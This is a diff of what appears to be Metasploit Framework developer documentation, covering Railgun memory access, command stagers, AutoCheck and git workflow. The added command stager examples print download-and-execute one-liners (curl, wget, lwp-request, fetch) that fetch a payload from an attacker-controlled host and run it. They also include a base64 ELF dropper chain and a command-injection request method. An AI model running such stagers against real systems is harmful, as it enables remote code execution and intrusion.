The fourth type, "return" is used as the return data type. It is passed to `#add_function` after the function name argument.
|
||||
|
||||
A quick way to define a new function (or redefine an existing function) at runtime can be done like the following example:
|
||||
|
||||
```ruby
|
||||
client.railgun.add_function('user32', 'MessageBoxA', 'DWORD',[
|
||||
["DWORD","hWnd","in"],
|
||||
["PCHAR","lpText","in"],
|
||||
["PCHAR","lpCaption","in"],
|
||||
["DWORD","uType","in"]
|
||||
['DWORD','hWnd','in'],
|
||||
['PCHAR','lpText','in'],
|
||||
['PCHAR','lpCaption','in'],
|
||||
['DWORD','uType','in']
|
||||
])
|
||||
```
|
||||
|
||||
However, if this function will most likely be used more than once, or it's part of the Windows API, then you should put it in the library.
|
||||
However, if this function will most likely be used more than once, or it's part of the Windows API, then you should put it in to the library.
|
||||
|
||||
### Usage
|
||||
## Usage
|
||||
|
||||
The best way to try Railgun is with irb in a Windows Meterpreter prompt. Here's an example of how to get there:
|
||||
|
||||
```
|
||||
```msf
|
||||
$ msfconsole -q
|
||||
msf > use exploit/multi/handler
|
||||
msf exploit(handler) > run
|
||||
@@ -72,70 +74,81 @@ msf exploit(handler) > run
|
||||
[*] Meterpreter session 1 opened (192.168.1.64:4444 -> 192.168.1.106:55148) at 2014-07-30 19:49:35 -0500
|
||||
|
||||
meterpreter > irb
|
||||
[*] Starting IRB shell
|
||||
[*] The 'client' variable holds the meterpreter client
|
||||
[*] Starting IRB shell...
|
||||
[*] You are in the "client" (session) object
|
||||
|
||||
>>
|
||||
```
|
||||
|
||||
Note that when you're running a post module or in irb, you always have a ```client``` or ```session``` object to work with, both point to same thing, which in this case is ```Msf::Sessions::Meterpreter_x86_Win```. This Meterpreter session object gives you API access to the target machine, including the Railgun object ```Rex::Post::Meterpreter::Extensions::Stdapi::Railgun::Railgun```. Here's how you simply access it:
|
||||
Note that when you're running a post module or in irb, you always have a `client` or `session` object to work with, both point to same thing, which in this case is `Msf::Sessions::Meterpreter_x86_Win`. This Meterpreter session object gives you API access to the target machine, including the Railgun object `Rex::Post::Meterpreter::Extensions::Stdapi::Railgun::Railgun`. Here's how you simply access it:
|
||||
|
||||
```ruby
|
||||
session.railgun
|
||||
railgun
|
||||
```
|
||||
|
||||
If you run the above in irb, you will see that it returns information about all the DLLs, functions, constants, etc, except it's a little unfriendly to read because there's so much data. Fortunately, there are some handy tricks to help us to figure things out. For example, like we mentioned before, if you're not sure what DLLs are loaded, you can call the ```known_dll_names``` method:
|
||||
If you run the above in irb, you will see that it returns information about all the DLLs, functions, constants, etc, except it's a little unfriendly to read because there's so much data. Fortunately, there are some handy tricks to help us to figure things out. For example, like we mentioned before, if you're not sure what DLLs are loaded, you can call the `known_dll_name` method:
|
||||
|
||||
```
|
||||
>> session.railgun.known_dll_names
|
||||
=> ["kernel32", "ntdll", "user32", "ws2_32", "iphlpapi", "advapi32", "shell32", "netapi32", "crypt32", "wlanapi", "wldap32", "version"]
|
||||
>> railgun.known_library_names
|
||||
=> ["kernel32", "ntdll", "user32", "ws2_32", "iphlpapi", "advapi32", "shell32", "netapi32", "crypt32", "wlanapi", "wldap32", "version", "psapi", "dbghelp", "winspool", "spoolss"]
|
||||
```
|
||||
|
||||
Now, say we're interested in user32 and we want to find all the available functions (as well as return value's data type, parameters), another handy trick is this:
|
||||
|
||||
```ruby
|
||||
session.railgun.user32.functions.each_pair {|n, v| puts "Function name: #{n}, Returns: #{v.return_type}, Params: #{v.params}"}
|
||||
railgun.user32.functions.each_pair {|n, v| puts "Function name: #{n}, Returns: #{v.return_type}, Params: #{v.params}"}
|
||||
```
|
||||
|
||||
Note that if you happen to call an invalid or unsupported Windows function, a ```RuntimeError``` will raise, and the error message also shows a list of available functions.
|
||||
Note that if you happen to call an invalid or unsupported Windows function, a `RuntimeError` will raise, and the error message also shows a list of available functions.
|
||||
|
||||
To call a Windows API function, here's how:
|
||||
To call a Windows API function, call the Ruby function of the desired name on the corresponding library (DLL) object. For example to call `user32!MessageBoxA`:
|
||||
|
||||
```
|
||||
>> session.railgun.user32.MessageBoxA(0, "hello, world", "hello", "MB_OK")
|
||||
>> railgun.user32.MessageBoxA(0, "hello, world", "hello", "MB_OK")
|
||||
=> {"GetLastError"=>0, "ErrorMessage"=>"The operation completed successfully.", "return"=>1}
|
||||
```
|
||||
|
||||
As you can see this API call returns a hash. One habit we have seen is that sometimes people don't like to check ```GetLastError```, ```ErrorMessage```, and/or the ```return``` value, they kind of just assume it works. This is a bad programming habit, and is not recommended. If you always assume something works, and execute the next API call, you risk having unexpected results (worst case scenario: losing the Meterpreter session).
|
||||
As you can see, this API call returns a hash. The "return" key is the return value of the function, as defined by its defined datatype. If the return type is a pointer to a known type (a pointer other than LPVOID, such as PCHAR), then the "return" key will be the value of that type and an additional "&return" key will be included. The "&return" key, when present, is the address in memory at which the "return" value is located. This is useful when the caller needs to both access the value but also have the ability to free it at a later time. Note that in these cases, if the pointer is NULL, "return" will always be Ruby's `nil` value and "&return" will be 0.
|
||||
|
||||
### Memory Reading and Writing
|
||||
The "GetLastError" key is the threads last-error code, as returned by [kernel32!GetLastError][kernel32!GetLastError]. This value is useful for determining if the function call was successful and not not, why it failed. The "ErrorMessage" key is a string to a human readable name of the corresponding "GetLastError" code. When making a function call through railgun, it s important to inspect the results to determine if it was successful before processing any results. There is no error handling for native API calls, so simple mistakes like accessing invalid memory locations will cause the session to close as the host process crashes.
|
||||
|
||||
The ```Railgun``` class also has two very useful methods that you will probably use: ```memread``` and ```memwrite```. The names are pretty self-explanatory: You read a block of memory, or you write to a region of memory. We'll demonstrate this with a new block of memory in the payload itself:
|
||||
## Memory Reading and Writing
|
||||
|
||||
The `Railgun` class also has useful methods that you will probably use: `memread` and `memwrite`. The names are pretty self-explanatory: You read a block of memory, or you write to a region of memory. We'll demonstrate this with a new block of memory in the payload itself:
|
||||
|
||||
```
|
||||
>> p = session.sys.process.open(session.sys.process.getpid, PROCESS_ALL_ACCESS)
|
||||
>> process = sys.process.open(sys.process.getpid, PROCESS_ALL_ACCESS)
|
||||
=> #<#<Class:0x007fe2e051b740>:0x007fe2c5a258a0 @client=#<Session:meterpreter 192.168.1.106:55151 (192.168.1.106) "WIN-6NH0Q8CJQVM\sinn3r @ WIN-6NH0Q8CJQVM">, @handle=448, @channel=nil, @pid=2268, @aliases={"image"=>#<Rex::Post::Meterpreter::Extensions::Stdapi::Sys::ProcessSubsystem::Image:0x007fe2c5a25828 @process=#<#<Class:0x007fe2e051b740>:0x007fe2c5a258a0 ...>>, "io"=>#<Rex::Post::Meterpreter::Extensions::Stdapi::Sys::ProcessSubsystem::IO:0x007fe2c5a257b0 @process=#<#<Class:0x007fe2e051b740>:0x007fe2c5a258a0 ...>>, "memory"=>#<Rex::Post::Meterpreter::Extensions::Stdapi::Sys::ProcessSubsystem::Memory:0x007fe2c5a25738 @process=#<#<Class:0x007fe2e051b740>:0x007fe2c5a258a0 ...>>, "thread"=>#<Rex::Post::Meterpreter::Extensions::Stdapi::Sys::ProcessSubsystem::Thread:0x007fe2c5a256c0 @process=#<#<Class:0x007fe2e051b740>:0x007fe2c5a258a0 ...>>}>
|
||||
>> p.memory.allocate(1024)
|
||||
>> address = process.memory.allocate(1024)
|
||||
=> 5898240
|
||||
```
|
||||
|
||||
As you can see, the new allocation is at address 5898240 (or 0x005A0000 in hex). Let's first write four bytes to it:
|
||||
As you can see, the new allocation is at the previously allocated address. Let's first write some data to it:
|
||||
|
||||
```
|
||||
>> session.railgun.memwrite(5898240, "AAAA", 4)
|
||||
>> railgun.memwrite(address, "AAAA\x00".b)
|
||||
=> true
|
||||
```
|
||||
|
||||
```memwrite``` returns true, which means successful. Now let's read 4 bytes from 0x005A0000:
|
||||
`memwrite` returns true, which means successful. Now let's read 4 bytes from the same address:
|
||||
|
||||
```
|
||||
>> session.railgun.memread(5898240, 4)
|
||||
>> railgun.memread(address, 4)
|
||||
=> "AAAA"
|
||||
```
|
||||
|
||||
Be aware that if you supply a bad pointer, you can cause an access violation and crash Meterpreter.
|
||||
|
||||
### References:
|
||||
### Reading and Writing Strings
|
||||
|
||||
Railgun also has a number of useful utility methods in `railgun.util`. For example, the `#read_string` method can be used to read an ASCII string from memory. A `read_wstring` variant can be used to read UTF-16 strings.
|
||||
|
||||
```
|
||||
>> railgun.util.read_string(address)
|
||||
=> "AAAA"
|
||||
```
|
||||
|
||||
## References:
|
||||
|
||||
- <https://www.youtube.com/watch?v=AniR-T0AnnI>
|
||||
- <https://www.defcon.org/images/defcon-20/dc-20-presentations/Maloney/DEFCON-20-Maloney-Railgun.pdf>
|
||||
@@ -144,3 +157,5 @@ Be aware that if you supply a bad pointer, you can cause an access violation and
|
||||
- <http://msdn.microsoft.com/en-us/library/aa383749>
|
||||
- <http://undocumented.ntinternals.net/>
|
||||
- <http://source.winehq.org/WineAPI/>
|
||||
|
||||
[kernel32!GetLastError]: https://learn.microsoft.com/en-us/windows/win32/api/errhandlingapi/nf-errhandlingapi-getlasterror
|
||||
|
||||
@@ -20,7 +20,7 @@ This may sound surprising, but sometimes we get asked questions that are already
|
||||
|
||||
* **Which ones have been tested**: When a module is developed, usually the exploit isn't tested against every single setup if there are too many. Usually the developers will just try to test whatever they can get their hands on. So if your target isn't mentioned here, keep in mind there is no guarantee it's going to work 100%. The safest thing to do is to actually recreate the environment your target has, and test the exploit before hitting the real thing.
|
||||
|
||||
* **What conditions the server must meet in order to be exploitable**: Quite often, a vulnerability requires multiple conditions to be exploitable. In some cases you can rely on the exploit's [check command](How-to-write-a-check-method.md), because when Metasploit flags something as vulnerable, it actually exploited the bug. For browser exploits using the BrowserExploitServer mixin, it will also check exploitable requirements before loading the exploit. But automation isn't always there, so you should try to find this information before running that "exploit" command. Sometimes it's just common sense, really. For example: a web application's file upload feature might be abused to upload a web-based backdoor, and stuff like that usually requires the upload folder to be accessible for the user. If your target doesn't meet the requirement(s), there is no point to try.
|
||||
* **What conditions the server must meet in order to be exploitable**: Quite often, a vulnerability requires multiple conditions to be exploitable. In some cases you can rely on the exploit's [[check command|How-to-write-a-check-method.md]], because when Metasploit flags something as vulnerable, it actually exploited the bug. For browser exploits using the BrowserExploitServer mixin, it will also check exploitable requirements before loading the exploit. But automation isn't always there, so you should try to find this information before running that "exploit" command. Sometimes it's just common sense, really. For example: a web application's file upload feature might be abused to upload a web-based backdoor, and stuff like that usually requires the upload folder to be accessible for the user. If your target doesn't meet the requirement(s), there is no point to try.
|
||||
|
||||
You can use the info command to see the module's description:
|
||||
|
||||
|
||||
@@ -1,6 +1,6 @@
|
||||
If you’ve found a way to execute a command on a target, and you’d like the leverage that ability to execute a command into a meterpreter session, command stagers are for you. Command stagers provide an easy way to write exploits that leverage vulnerabilities such as [command execution](https://www.owasp.org/index.php/Command_Injection) or [code injection](https://www.owasp.org/index.php/Code_Injection) and turn them into sessions. There are currently 14 different flavors of command stagers, each uses system command (or commands) to save (or not save) your payload, sometimes decode, and execute.
|
||||
|
||||
The hardest part about command stagers is understanding how much they do. All you need to do for a command stager is to define how the command injection works in the `execute_command` method and then select a few options.
|
||||
The hardest part about command stagers is understanding how much they do and what they do. All you need to do for a command stager is to define how the command injection works in the `execute_command` method and then select a few options.
|
||||
|
||||
# The Vulnerability Test Case
|
||||
|
||||
@@ -70,7 +70,7 @@ include Msf::Exploit::CmdStager
|
||||
|
||||
**2. Declare your flavors**
|
||||
|
||||
To tell `Msf::Exploit::CmdStager` what flavors you want, you can add the ```CmdStagerFlavor``` info in the module's metadata. Either from the common level, or the target level. Multiple flavors are allowed.
|
||||
To tell `Msf::Exploit::CmdStager` what flavors you want, you can add the ```CmdStagerFlavor``` info in the module's metadata. Either from the common level, or the target level. Multiple flavors are allowed. Remember that different flavors have different approaches to staging the payload for execution. Some flavors will break the payload apart and embed the payload data into multiple `echo` or `printf` commands to write it to disk; others like `wget` and `curl` execute a command to retrieve the payload via network connection. Your chosen flavor will be determined by the availability of a given command on the target system, the size of the command, the size of the payload, the ability to call out on the network, and the security posture of the target.
|
||||
|
||||
An example of setting flavors for a specific target:
|
||||
|
||||
@@ -98,11 +98,32 @@ However, it is best to set the compatible list of flavors in `CmdStagerFlavor`,
|
||||
|
||||
**3. Create the execute_command method**
|
||||
|
||||
You also must create a ```def execute_command(cmd, opts = {})``` method in your module. This is how you define how to execute a command on the target. The parameter `cmd` is the command to execute. When writing the ```execute_cmd``` method, remember that
|
||||
You also must create a ```def execute_command(cmd, opts = {})``` method in your module. This is how you define how to execute a command on the target. The parameter `cmd` is the command to execute. When writing the ```execute_cmd``` method, remember that a great deal of work might already be done for you. Here is an example of a web host that executes a command as part of a request:
|
||||
```ruby
|
||||
def execute_command(cmd, _opts = {})
|
||||
populate_values if @sid.nil? || @token.nil?
|
||||
uri = datastore['URIPATH'] + '/vendor/htmlawed/htmlawed/htmLawedTest.php'
|
||||
|
||||
send_request_cgi({
|
||||
'method' => 'POST',
|
||||
'uri' => normalize_uri(uri),
|
||||
'cookie' => 'sid=' + @sid,
|
||||
'ctype' => 'application/x-www-form-urlencoded',
|
||||
'encode_params' => true,
|
||||
'vars_post' => {
|
||||
'token' => @token,
|
||||
'text' => cmd,
|
||||
'hhook' => 'exec',
|
||||
'sid' => @sid
|
||||
}
|
||||
})
|
||||
end
|
||||
```
|
||||
Since the command is encapsulated within a request, it will be encoded for us. When building and debugging an execute_command method that uses web requests, remember that `set httptrace true` will automatically display the http traffic as it is sent and received.
|
||||
|
||||
**4. Decide on the supported payloads**
|
||||
|
||||
CmdStagers are intended to support payloads that are uploaded, saved to disk, and launched, but many of the payloads in Metasploit Framework do not need to be saved to disk; these payloads are `ARCH_CMD` payloads that rely on software already present on the target system like netcat, bash, python, or ssh. Depending on whether the payload needs to be saved to disk or not changes what payloads are supported and how we launch the payload, so we must provide the user the ability to pick between the two.
|
||||
CmdStagers are intended to support payloads that are uploaded, saved to disk, and launched, but many of the payloads in Metasploit Framework do not need to be saved to disk; these payloads are `ARCH_CMD` payloads that rely on software already present on the target system like `netcat`, `bash`, `python`, or `ssh`. Depending on whether the payload needs to be saved to disk or not changes what payloads are supported and how we launch the payload, so we must provide the user the ability to pick between the two.
|
||||
The best way to let the user decide what kind of payload to use is by defining separate [[targets|Get-Started-Writing-an-Exploit.md]]
|
||||
|
||||
Here is an example targets section from a command injection module:
|
||||
@@ -133,10 +154,10 @@ Here is an example targets section from a command injection module:
|
||||
|
||||
```
|
||||
|
||||
The first target is the `ARCH_CMD` target and `unix` platform. This allows the user to select any payload that starts with `cmd/unix`. These payloads do not need to be saved to disk and can just be launched at the command line. The second is `ARCH_X64` and the platform is `linux`; this lets us choose any payload that starts with `linux/x64`. These targets must be saved to disk before they can be launched, and as such, you will often see this second type of payload referred to as a ‘dropper’ because the file must be ‘dropped’ to the disk before it can be executed. In each of the targets above, we’ve selected a default payload we know will work.
|
||||
The first target is the `ARCH_CMD` target and `unix` platform. This allows the user to select any payload that starts with `cmd/unix`. These payloads do not need to be saved to disk because they are "just" a command, rather than an executable file. As such, they can be contained and launched within a command line string. The second is `ARCH_X64` and the platform is `linux`; this lets us choose any payload that starts with `linux/x64` and includes binary elf payloads. These payload types must be saved to disk before they can be launched, and as such, you will often see this second type of payload referred to as a ‘dropper’ because the file must be ‘dropped’ to the disk before it can be executed. In each of the targets above, we’ve selected a default payload we know will work.
|
||||
|
||||
**4. Executing a payload**
|
||||
As we said earlier, the way a payload is executed depends on the payload type. By including `Msf::Exploit::CmdStager` you are given access to a method called ```execute_cmdstager```. ```execute_cmdstager``` makes a list of required commands to upload, save, and execute your payload, then uses the ```execute_command``` method you defined earlier to run them on the target.
|
||||
As we said earlier, the way a payload is executed depends on the payload type. By including `Msf::Exploit::CmdStager` you are given access to a method called ```execute_cmdstager```. ```execute_cmdstager``` makes a list of required commands to encode, upload, save, decode, and execute your payload, then uses the ```execute_command``` method you defined earlier to run each command on the target.
|
||||
Unfortunately, we just mentioned not all payloads need to be saved to disk. In the case of a payload that does not need to be saved to disk, we only need to call ```execute_command```.
|
||||
This problem of payload/method juggling sounds far worse than it is. Below is a quick example of how simple the ```exploit``` method will become if you have properly defined your targets as discussed in step 3:
|
||||
|
||||
@@ -152,8 +173,7 @@ This problem of payload/method juggling sounds far worse than it is. Below is a
|
||||
end
|
||||
```
|
||||
|
||||
That’s it. If the user selects an `ARCH_CMD` payload, we call the ```execute_command``` method on the _already_ _encoded_ payload. You don’t need to worry about encoding the payload in your ```execute_command``` method.
|
||||
If the user has selected a binary payload like `ARCH_X64` or `ARCH_X86`, then we call ```execute_cmdstager``` which figures out how to save the file to disk and launch it based on the flavor you set earlier.
|
||||
That’s it. If the user selects an `ARCH_CMD` payload, we call the ```execute_command``` method on the payload because as we said earlier, these payloads will execute within a single command. If the user has selected a ```dropped``` payload like `ARCH_X64` or `ARCH_X86`, then we call ```execute_cmdstager``` which figures out the series of commands necessary to save the file to disk and launch it based on the flavor and max size you set earlier.
|
||||
|
||||
Over the years, we have also learned that these options are quite handy when calling
|
||||
`execute_cmdstager`:
|
||||
@@ -259,23 +279,26 @@ msf exploit(cmdstager_demo) > run
|
||||
# Flavors
|
||||
|
||||
Now that we know how to use the `Msf::Exploit::CmdStager` mixin, let's take a look at the command
|
||||
stagers you can use.
|
||||
stagers you can use. As mentioned above there are 2 general approaches to staging an executable on disk: by invoking a command that will download the executable file to disk like wget, curl, or fetch, or by breaking the executable file into pieces and including them commands themselves to write it to disk like echo, printf, or vbs. This delineation can be important, as trying to wite a stageless binary payload to disk using a stager that has to include the chunked payload in it will require the execution of dozens of commands, often each one having the signature of the exploit. It is also useful to know the `printf` flavor is the only flavor that embeds the payload into the commands but does ***not*** use `echo`.
|
||||
|
||||
Available flavors:
|
||||
|
||||
Flavors requiring the payload to be broken apart and embedded into the commands:
|
||||
* [bourne](https://github.com/rapid7/rex-exploitation/blob/master/lib/rex/exploitation/cmdstager/bourne.rb)
|
||||
* [certutil](https://github.com/rapid7/rex-exploitation/blob/master/lib/rex/exploitation/cmdstager/certutil.rb)
|
||||
* [debug_asm](https://github.com/rapid7/rex-exploitation/blob/master/lib/rex/exploitation/cmdstager/debug_asm.rb)
|
||||
* [debug_write](https://github.com/rapid7/rex-exploitation/blob/master/lib/rex/exploitation/cmdstager/debug_write.rb)
|
||||
* [echo](https://github.com/rapid7/rex-exploitation/blob/master/lib/rex/exploitation/cmdstager/echo.rb)
|
||||
* [printf](https://github.com/rapid7/rex-exploitation/blob/master/lib/rex/exploitation/cmdstager/printf.rb)
|
||||
* [vbs](https://github.com/rapid7/rex-exploitation/blob/master/lib/rex/exploitation/cmdstager/vbs.rb)
|
||||
* [certutil](https://github.com/rapid7/rex-exploitation/blob/master/lib/rex/exploitation/cmdstager/certutil.rb)
|
||||
* [tftp](https://github.com/rapid7/rex-exploitation/blob/master/lib/rex/exploitation/cmdstager/tftp.rb)
|
||||
* [wget](https://github.com/rapid7/rex-exploitation/blob/master/lib/rex/exploitation/cmdstager/wget.rb)
|
||||
|
||||
Flavors that rely on using a command to retrieve the payload via network connection
|
||||
* [curl](https://github.com/rapid7/rex-exploitation/blob/master/lib/rex/exploitation/cmdstager/curl.rb)
|
||||
* [fetch](https://github.com/rapid7/rex-exploitation/blob/master/lib/rex/exploitation/cmdstager/fetch.rb)
|
||||
* [lwprequest](https://github.com/rapid7/rex-exploitation/blob/master/lib/rex/exploitation/cmdstager/lwprequest.rb)
|
||||
* [psh_invokewebrequest](https://github.com/rapid7/rex-exploitation/blob/master/lib/rex/exploitation/cmdstager/psh_invokewebrequest.rb)
|
||||
* [tftp](https://github.com/rapid7/rex-exploitation/blob/master/lib/rex/exploitation/cmdstager/tftp.rb)
|
||||
* [wget](https://github.com/rapid7/rex-exploitation/blob/master/lib/rex/exploitation/cmdstager/wget.rb)
|
||||
|
||||
|
||||
## VBS Command Stager - Windows Only
|
||||
@@ -305,9 +328,7 @@ You will also need to make sure the module's supported platforms include windows
|
||||
|
||||
## Certutil Command Stager - Windows Only
|
||||
|
||||
[Certutil](https://github.com/rapid7/rex-exploitation/blob/master/lib/rex/exploitation/cmdstager/certutil.rb) is a Windows command that can be used to dump and display certification authority, configuration information, configure certificate services, back and restore CA components, etc. It only comes with newer Windows systems starting from Windows 2012, and Windows 8.
|
||||
|
||||
One thing certutil can also do for us is decode the Base64 string from a certificate, and save the decoded content to a file. The following demonstrates:
|
||||
[Certutil](https://github.com/rapid7/rex-exploitation/blob/master/lib/rex/exploitation/cmdstager/certutil.rb) is a Windows command that can be used to dump and display certification authority, configuration information, configure certificate services, back up and restore CA components, etc. It only comes with newer Windows systems starting from Windows 2012, and Windows 8. I find the certutil flavor confusing, as certutil can be used to download files just like `wget` and `ftp`, we do not use it that way here; instead we use `echo` to write the file as a base64 encoded certificate, and then we use `certutil` to decode it prior to execution:
|
||||
|
||||
```bash
|
||||
echo -----BEGIN CERTIFICATE----- > encoded.txt
|
||||
@@ -433,8 +454,17 @@ execute_cmdstager(flavor: :psh_invokewebrequest )
|
||||
|
||||
**Linemax** minimum: 373
|
||||
|
||||
The [Bourne](https://github.com/rapid7/rex-exploitation/blob/master/lib/rex/exploitation/cmdstager/bourne.rb) command stager supports multiple platforms except for Windows (because the use of the which command that Windows does not have). It functions rather similar to the VBS stager, except when it decodes the Base64 payload at runtime, there are multiple commands to choose from: base64, openssl, python, or perl.
|
||||
|
||||
The [Bourne](https://github.com/rapid7/rex-exploitation/blob/master/lib/rex/exploitation/cmdstager/bourne.rb) command stager supports multiple platforms except for Windows. Just like many other stagers, it writes a base64 encoded payload to disk, but then it tries to decode it using four different commands: base64, openssl, python, and perl. This is very useful if the target's OS is unpredictable. You can see the way it attempts to use multiple decoding techniques by setting `verbose` to `true` and launching an exploit that has `bourne` as a supported command stager flavor and selecting it as the flavor:
|
||||
```
|
||||
[*] Generated command stager: ["echo -n f0VMRgIBAQAAAAAAAAAAAAIAPgABAAAAeABAAAAAAABAAAAAAAAAAAAAAAAAAAAAAAAAAEAAOAABAAAA
|
||||
AAAAAAEAAAAHAAAAAAAAAAAAAAAAAEAAAAAAAAAAQAAAAAAA+gAAAAAAAAB8AQAAAAAAAAAQAAAAAAAAMf9qCViZthBIidZNMclqIkFaagdaDwVIhcB4UWoK
|
||||
QVlQailYmWoCX2oBXg8FSIXAeDtIl0i5AgARXAoFh8lRSInmahBaaipYDwVZSIXAeSVJ/8l0GFdqI1hqAGoFSInnSDH2DwVZWV9IhcB5x2o8WGoBXw8FXmp+
|
||||
Wg8FSIXAeO3/5g==>>'/tmp/XtMnQ.b64' ; ((which base64 >&2 && base64 -d -) || (which base64 >&2 && base64 --decode -) || (w
|
||||
hich openssl >&2 && openssl enc -d -A -base64 -in /dev/stdin) || (which python >&2 && python -c 'import sys, base64; pri
|
||||
nt base64.standard_b64decode(sys.stdin.read());') || (which perl >&2 && perl -MMIME::Base64 -ne 'print decode_base64($_)
|
||||
')) 2> /dev/null > '/tmp/IPUov' < '/tmp/XtMnQ.b64' ; chmod +x '/tmp/IPUov' ; '/tmp/IPUov' ; rm -f '/tmp/IPUov' ; rm -f '
|
||||
/tmp/XtMnQ.b64'"]
|
||||
```
|
||||
To use the Bourne stager, either specify your CmdStagerFlavor in the metadata:
|
||||
|
||||
```ruby
|
||||
@@ -454,7 +484,7 @@ execute_cmdstager(flavor: :bourne)
|
||||
|
||||
The [echo](https://github.com/rapid7/rex-exploitation/blob/master/lib/rex/exploitation/cmdstager/echo.rb) command stager is suitable for multiple platforms except for Windows. It just [echos](http://manpages.ubuntu.com/manpages/trusty/man1/echo.1fun.html) the payload, chmod and execute it. An example of that looks similar to this:
|
||||
|
||||
```
|
||||
```bash
|
||||
echo -en \\x41\\x41\\x41\\x41 >> /tmp/payload ; chmod 777 /tmp/payload ; /tmp/payload ; rm -f /tmp/payload
|
||||
```
|
||||
|
||||
@@ -495,6 +525,11 @@ execute_cmdstager(flavor: :printf)
|
||||
|
||||
## cURL Command Stager - Multi Platform
|
||||
|
||||
The [cURL](https://github.com/rapid7/rex-exploitation/blob/master/lib/rex/exploitation/cmdstager/curl.rb) command stager uses the `curl` command on the target host to download the payload file. It requires users to specify a `SRVHOST` and `SRVPORT` values and will start an HTTP server to host the payload file. An example of that looks similar to this:
|
||||
|
||||
```bash
|
||||
curl -so /tmp/dtNGlaaL http://10.5.135.201:8080/mdkwKcdGCtU;chmod +x /tmp/dtNGlaaL;/tmp/dtNGlaaL;rm -f /tmp/dtNGlaaL"
|
||||
```
|
||||
To use the cURL stager, either specify your CmdStagerFlavor in the metadata:
|
||||
|
||||
```ruby
|
||||
@@ -510,6 +545,12 @@ execute_cmdstager(flavor: :curl)
|
||||
|
||||
## wget Command Stager - Multi Platform
|
||||
|
||||
The [wget](https://github.com/rapid7/rex-exploitation/blob/master/lib/rex/exploitation/cmdstager/wget.rb) command stager is similar to the curl command stager, except instead of using curl to download the file on the target host, it uses the `wget` command. It requires users to specify a `SRVHOST` and `SRVPORT` values and will start an HTTP server to host the payload file. An example of that looks similar to this:
|
||||
|
||||
```bash
|
||||
wget -qO /tmp/MZXxujch http://10.5.135.201:8080/mdkwKcdGCtU;chmod +x /tmp/MZXxujch;/tmp/MZXxujch;rm -f /tmp/MZXxujch
|
||||
```
|
||||
|
||||
To use the wget stager, either specify your CmdStagerFlavor in the metadata:
|
||||
|
||||
```ruby
|
||||
@@ -525,6 +566,13 @@ execute_cmdstager(flavor: :wget)
|
||||
|
||||
## LWP Request Command Stager - Multi Platform
|
||||
|
||||
The [lwp-request](https://github.com/rapid7/rex-exploitation/blob/master/lib/rex/exploitation/cmdstager/lwprequest.rb) command stager is similar to the curl command stager, except instead of using curl to download the file on the target host, it uses the `lwp-request` command. It requires users to specify a `SRVHOST` and `SRVPORT` values and will start an HTTP server to host the payload file. An example of that looks similar to this:
|
||||
|
||||
```bash
|
||||
lwp-request -m GET http://10.5.135.201:8080/mdkwKcdGCtU > /tmp/OKOnDYwn;chmod +x /tmp/OKOnDYwn;/tmp/OKOnDYwn;rm -f /tmp/OKOnDYwn
|
||||
|
||||
```
|
||||
|
||||
To use the lwprequest stager, either specify your CmdStagerFlavor in the metadata:
|
||||
|
||||
```ruby
|
||||
@@ -540,6 +588,11 @@ execute_cmdstager(flavor: :lwprequest)
|
||||
|
||||
## Fetch Command Stager - BSD Only
|
||||
|
||||
The [fetch](https://github.com/rapid7/rex-exploitation/blob/master/lib/rex/exploitation/cmdstager/fetch.rb) command stager is similar to the curl command stager, except instead of using curl to download the file on the target host, it uses the `fetch` command. It requires users to specify a `SRVHOST` and `SRVPORT` values and will start an HTTP server to host the payload file. An example of that looks similar to this:
|
||||
|
||||
```bash
|
||||
fetch -qo /tmp/UGWuPPcy http://10.5.135.201:8080/mdkwKcdGCtU;chmod +x /tmp/UGWuPPcy;/tmp/UGWuPPcy;rm -f /tmp/UGWuPPcy
|
||||
```
|
||||
To use the fetch stager, either specify your CmdStagerFlavor in the metadata:
|
||||
|
||||
```ruby
|
||||
|
||||
@@ -127,4 +127,28 @@ def check
|
||||
end
|
||||
```
|
||||
|
||||
Another possible way to inspect is grab the vulnerable file, and use Metasm. But of course, this is a lot slower and generates more network traffic.
|
||||
Another possible way to inspect is grab the vulnerable file, and use Metasm. But of course, this is a lot slower and generates more network traffic.
|
||||
|
||||
|
||||
## AutoCheck Mixin
|
||||
|
||||
Metasploit offers the possibility to automatically call the `check` method before the `exploit` or `run` method is run. Just prepend the `AutoCheck` module for this, nothing more:
|
||||
|
||||
```ruby
|
||||
prepend Msf::Exploit::Remote::AutoCheck
|
||||
```
|
||||
|
||||
According to the `CheckCode` returned by the `check` method, Framework will decided if the module should be executed or not:
|
||||
|
||||
| Checkcode | Module executed? |
|
||||
| --------- | ----------- |
|
||||
| **Exploit::CheckCode::Vulnerable** | yes |
|
||||
| **Exploit::CheckCode::Appears** | yes |
|
||||
| **Exploit::CheckCode::Detected** | yes |
|
||||
| **Exploit::CheckCode::Safe** | no |
|
||||
| **Exploit::CheckCode::Unsupported** | no |
|
||||
| **Exploit::CheckCode::Unknown** | no |
|
||||
|
||||
This mixin brings two new options that let the operator control its behavior:
|
||||
- `AutoCheck`: Sets whether or not the `check` method will be run. Default is `true`.
|
||||
- `ForceExploit`: Override the check result. The `check` method is run but the module will be executed regardless of the result. Default is `false`.
|
||||
|
||||
@@ -198,7 +198,7 @@ Filling in the blanks (provided by the original PR's information from GitHub) ge
|
||||
https://github.com/todb-r7/metasploit-framework/pull/new/schierlm:javapayload-maven...pr1217-fix-gitignore-conflict
|
||||
````
|
||||
|
||||
I opened that in a browser, and ended up with https://github.com/schierlm/metasploit-framework/pull/1 . Once @schierlm landed it on his branch (again, using `git merge --no-ff` and a short, informational merge commit message), all I (or anyone) had to do was `git fetch` to get the change reflected in upstream/pr/1217, and then the integration of the PR could continue.
|
||||
I opened that in a browser, and ended up with https://github.com/schierlm/metasploit-framework/pull/1 . Once [@schierlm](https://github.com/schierlm) landed it on his branch (again, using `git merge --no-ff` and a short, informational merge commit message), all I (or anyone) had to do was `git fetch` to get the change reflected in upstream/pr/1217, and then the integration of the PR could continue.
|
||||
|
||||
# Collaboration between contributors
|
||||
|
||||
@@ -206,7 +206,7 @@ Note the important bit here: **you do not need commit rights to Rapid7 to branch
|
||||
|
||||
# Landing to upstream
|
||||
|
||||
Back to PR #1217. Turns out, my change was enough to land the original chunk of work. So, someone else (@jlee-r7) was able to to do something like this:
|
||||
Back to PR #1217. Turns out, my change was enough to land the original chunk of work. So, someone else ([@jlee-r7](https://github.com/jlee-r7)) was able to to do something like this:
|
||||
|
||||
````
|
||||
$ git fetch upstream
|
||||
@@ -291,4 +291,4 @@ If that works, great, you know you don't have any merge conflicts right now.
|
||||
|
||||
# Questions and Corrections
|
||||
|
||||
